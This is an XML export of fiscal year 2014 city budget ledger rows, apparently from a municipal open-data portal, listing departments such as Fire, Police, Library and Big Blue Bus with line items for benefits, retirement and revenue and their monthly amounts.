<row _id="8651"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>400681.0</object><object_description>EMS REVENUE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-889179.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-889179.0</total></row>
<row _id="8652"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511741.0</object><object_description>MEDICAL - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>715966.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>715966.0</total></row>
<row _id="8653"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>76589.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>76589.0</total></row>
<row _id="8654"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>344848.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>344848.0</total></row>
<row _id="8655"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>107045.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>107045.0</total></row>
<row _id="8656"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>429730.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>429730.0</total></row>
<row _id="8657"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>60757.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>60757.0</total></row>
<row _id="8658"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>19081.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19081.0</total></row>
<row _id="8659"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>155317.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>155317.0</total></row>
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<row _id="8687"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>826.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>826.0</total></row>
<row _id="8688"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>822.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>822.0</total></row>
<row _id="8689"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1345.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1345.0</total></row>
<row _id="8690"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2213.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2213.0</total></row>
<row _id="8691"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1144.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1144.0</total></row>
<row _id="8692"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3394.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3394.0</total></row>
<row _id="8693"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6967.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6967.0</total></row>
<row _id="8694"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12353.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12353.0</total></row>
<row _id="8695"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2058.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2058.0</total></row>
<row _id="8696"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>420.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>420.0</total></row>
<row _id="8697"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5258.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5258.0</total></row>
<row _id="8698"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3693.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3693.0</total></row>
<row _id="8699"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>618.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>618.0</total></row>
<row _id="8700"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11035.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11035.0</total></row>
<row _id="8701"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7863.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7863.0</total></row>
<row _id="8702"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8649.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8649.0</total></row>
<row _id="8703"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8704"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11712.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11712.0</total></row>
<row _id="8705"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11534.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11534.0</total></row>
<row _id="8706"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11820.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11820.0</total></row>
<row _id="8707"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8738.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8738.0</total></row>
<row _id="8708"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6689.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6689.0</total></row>
<row _id="8709"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12132.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12132.0</total></row>
<row _id="8710"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4477.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4477.0</total></row>
<row _id="8711"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3200.0</total></row>
<row _id="8712"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5437.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5437.0</total></row>
<row _id="8713"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1188.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1188.0</total></row>
<row _id="8714"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11170.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11170.0</total></row>
<row _id="8715"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4584.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4584.0</total></row>
<row _id="8716"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>21504.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21504.0</total></row>
<row _id="8717"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>880.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>880.0</total></row>
<row _id="8718"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>78137.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>78137.0</total></row>
<row _id="8719"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>40283.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>40283.0</total></row>
<row _id="8720"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2246.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2246.0</total></row>
<row _id="8721"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>403920.0</object><object_description>TEA 21 PALISADES BLUFF IMPROV</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8722"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>27626.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>27626.0</total></row>
<row _id="8723"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12952.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12952.0</total></row>
<row _id="8724"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>73308.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>73308.0</total></row>
<row _id="8725"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>23712.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23712.0</total></row>
